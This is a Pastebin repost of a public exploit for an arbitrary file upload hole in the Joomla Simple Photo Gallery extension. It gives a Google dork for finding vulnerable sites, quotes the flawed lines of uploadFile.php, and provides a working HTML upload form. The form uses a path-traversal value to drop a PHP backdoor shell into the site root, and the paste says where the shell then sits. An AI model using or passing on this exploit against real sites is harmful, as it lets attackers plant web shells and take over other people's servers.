3xploit3r

Joomla Simple Photo Gallery - Arbitrary File Upload

Aug 24th, 2016
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ######################################################################
  2. # Exploit Title: Joomla Simple Photo Gallery - Arbitrary File Upload
  3. # Google Dork: inurl:com_simplephotogallery
  4. # Date: 10.03.2015
  5. # Exploit Author: CrashBandicot @DosPerl
  6. # OSVDB-ID: 119624
  7. # My Github: github.com/CCrashBandicot
  8. # Vendor Homepage: https://www.apptha.com/
  9. # Software Link: https://www.apptha.com/category/extension/joomla/simple-photo-gallery
  10. # Version: 1
  11. # Tested on: Windows
  12. ######################################################################
  13.  
  14. # Vulnerable File : uploadFile.php
  15. # Path : /administrator/components/com_simplephotogallery/lib/uploadFile.php
  16.  
  17. 20.   $fieldName = 'uploadfile';
  18. 87.      $fileTemp = $_FILES[$fieldName]['tmp_name'];
  19. 94.         $uploadPath = urldecode($_REQUEST["jpath"]).$fileName;
  20. 96.      if(! move_uploaded_file($fileTemp, $uploadPath))
  21.  
  22.  
  23. # Exploit :
  24.  
  25. <form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
  26.     <input type="file" name="uploadfile"><br>
  27.     <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br>
  28.     <input type="submit" name="Submit" value="Pwn!">
  29. </form>
  30.  
  31. # Name of Shell Show you after Click on Pwn!, Name is random (eg : backdoor__FDSfezfs.php)
  32.  
  33. # Shell Path : http://localhost/backdoor__[RandomString].php
Add Comment
Please, Sign In to add comment